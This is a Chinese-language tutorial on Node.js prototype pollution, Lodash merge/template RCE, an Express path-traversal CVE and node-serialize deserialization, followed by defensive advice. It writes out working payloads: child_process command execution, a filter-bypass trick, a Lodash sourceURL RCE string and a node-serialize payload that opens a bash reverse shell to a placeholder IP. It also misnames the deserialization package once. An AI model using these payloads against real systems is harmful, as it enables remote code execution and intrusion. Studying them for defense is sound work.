Node.js些许漏洞
字数 1304 2025-08-24 07:48:09

Node.js 原型污染漏洞深度解析与防御指南

一、JavaScript 原型链基础

1.1 原型链概念

JavaScript 采用基于原型的继承机制,每个对象都有一个私有属性 __proto__ 指向其构造函数的原型对象 (prototype)。这个原型对象也有自己的原型对象,层层向上直到 null

关键点:

  • Object.prototype 是原型链的顶端
  • Object.prototype.__proto__null
  • 几乎所有 JavaScript 对象都是 Object.prototype 的实例

1.2 __proto__prototype 区别

function Son() {}
var son = new Son();
console.log(Son.prototype);  // 访问构造函数的原型
console.log(son.__proto__);  // 访问实例对象的原型
console.log(Son.prototype == son.__proto__);  // true

区别:

  • __proto__:每个对象都有的属性,指向该对象的原型
  • prototype:仅函数对象特有的属性,指向该函数的原型

二、原型链污染原理

2.1 基本污染原理

通过控制对象属性的赋值操作,可以污染原型链:

object1 = {"a": 1, "b": 2};
object1.__proto__.foo = "Hello World";  // 污染原型
console.log(object1.foo);  // "Hello World"

object2 = {"c": 1, "d": 2};
console.log(object2.foo);  // "Hello World" (被污染)

2.2 继承中的污染

function Father() {
    this.first_name = 'Donald';
    this.last_name = 'Trump';
}

function Son() {
    this.first_name = 'Melania';
}

Son.prototype = new Father();
let son = new Son();
son.__proto__['last_name'] = 'xxh';  // 污染原型

let newson = new Son();
console.log(`Name: ${newson.first_name} ${newson.last_name}`);  // "Melania xxh"

三、危险操作与漏洞利用

3.1 不安全的合并函数

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
}

let o1 = {};
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
merge(o1, o2);

console.log(o1.a, o1.b);  // 1, 2
o3 = {};
console.log(o3.b);  // 2 (原型被污染)

3.2 危险模块和函数

危险模块:

  • child_process

危险函数:

  • eval
  • spawn
  • exec
  • setTimeout
  • setInterval
  • Function

Payload示例:

require('child_process').exec('ls');
require('child_process').execSync('ls').toString();
global.process.mainModule.constructor._load('child_process').execSync('ls');

3.3 绕过过滤技巧

当敏感字符被过滤时:

// 原始
require('child_process').execSync('ls').toString()

// 绕过
require('child_process')['exe' + 'cSync']('ls').toString()

四、Lodash 模块相关漏洞

4.1 Lodash.merge 原型污染

Lodash 的 merge 方法递归合并对象属性时可能造成原型污染:

const _ = require('lodash');
let malicious = JSON.parse('{"__proto__": {"polluted": true}}');
let obj = {};
_.merge({}, malicious);

console.log(obj.polluted);  // true

4.2 配合 Lodash.template 实现 RCE

利用 sourceURL 属性实现代码执行:

// 污染 sourceURL 实现 RCE
{"__proto__": {"sourceURL": "\nreturn e; global.process.mainModule.require('child_process').execSync('whoami')"}}

五、其他重要 Node.js 漏洞

5.1 CVE-2017-14849 (Express 路径遍历)

影响版本:

  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5

原理:
Express 依赖的 Send 组件在标准化路径时存在缺陷,可通过构造特殊路径实现目录遍历。

5.2 CVE-2017-5941 (反序列化漏洞)

原理:
serialize-javascript 包在反序列化时可能执行恶意代码。

Payload 构造:

const serialize = require('node-serialize');
var test = {
    rce: function() {
        require('child_process').exec('ls /');
    }
};
console.log(serialize.serialize(test));
// 输出: {"rce":"_
$$
ND_FUNC
$$
_function(){require('child_process').exec('ls /');}"}

// 反序列化时立即执行
{"rce":"_
$$
ND_FUNC
$$
_function(){require('child_process').exec('bash -i >& /dev/tcp/IP/PORT 0>&1')}()"}

六、防御措施

  1. 避免使用不安全的合并函数

    • 使用 Object.assign 替代深度合并
    • 使用安全的库如 lodash.mergeWith 并配置自定义合并策略
  2. 原型污染防护

    // 冻结 Object.prototype
    Object.freeze(Object.prototype);
    
    // 检查 __proto__ 属性
    if (key === '__proto__') {
        throw new Error('Prototype pollution attempt detected');
    }
    
  3. 输入验证与过滤

    • 严格验证用户输入的 JSON 数据
    • 使用 JSON.parse 替代 eval
  4. 依赖管理

    • 及时更新有漏洞的依赖包
    • 使用 npm audit 检查已知漏洞
  5. 最小权限原则

    • 以非特权用户运行 Node.js 进程
    • 限制文件系统访问权限
  6. 反序列化安全

    • 避免使用不安全的反序列化方法
    • 使用 JSON Schema 验证反序列化数据

通过理解这些漏洞原理和防御措施,开发者可以更安全地构建 Node.js 应用程序,避免原型污染等安全风险。

Node.js 原型污染漏洞深度解析与防御指南 一、JavaScript 原型链基础 1.1 原型链概念 JavaScript 采用基于原型的继承机制,每个对象都有一个私有属性 __proto__ 指向其构造函数的原型对象 ( prototype )。这个原型对象也有自己的原型对象,层层向上直到 null 。 关键点: Object.prototype 是原型链的顶端 Object.prototype.__proto__ 为 null 几乎所有 JavaScript 对象都是 Object.prototype 的实例 1.2 __proto__ 与 prototype 区别 区别: __proto__ :每个对象都有的属性,指向该对象的原型 prototype :仅函数对象特有的属性,指向该函数的原型 二、原型链污染原理 2.1 基本污染原理 通过控制对象属性的赋值操作,可以污染原型链: 2.2 继承中的污染 三、危险操作与漏洞利用 3.1 不安全的合并函数 3.2 危险模块和函数 危险模块 : child_process 危险函数 : eval spawn exec setTimeout setInterval Function Payload示例 : 3.3 绕过过滤技巧 当敏感字符被过滤时: 四、Lodash 模块相关漏洞 4.1 Lodash.merge 原型污染 Lodash 的 merge 方法递归合并对象属性时可能造成原型污染: 4.2 配合 Lodash.template 实现 RCE 利用 sourceURL 属性实现代码执行: 五、其他重要 Node.js 漏洞 5.1 CVE-2017-14849 (Express 路径遍历) 影响版本 : Node.js 8.5.0 + Express 3.19.0-3.21.2 Node.js 8.5.0 + Express 4.11.0-4.15.5 原理 : Express 依赖的 Send 组件在标准化路径时存在缺陷,可通过构造特殊路径实现目录遍历。 5.2 CVE-2017-5941 (反序列化漏洞) 原理 : serialize-javascript 包在反序列化时可能执行恶意代码。 Payload 构造 : 六、防御措施 避免使用不安全的合并函数 : 使用 Object.assign 替代深度合并 使用安全的库如 lodash.mergeWith 并配置自定义合并策略 原型污染防护 : 输入验证与过滤 : 严格验证用户输入的 JSON 数据 使用 JSON.parse 替代 eval 依赖管理 : 及时更新有漏洞的依赖包 使用 npm audit 检查已知漏洞 最小权限原则 : 以非特权用户运行 Node.js 进程 限制文件系统访问权限 反序列化安全 : 避免使用不安全的反序列化方法 使用 JSON Schema 验证反序列化数据 通过理解这些漏洞原理和防御措施,开发者可以更安全地构建 Node.js 应用程序,避免原型污染等安全风险。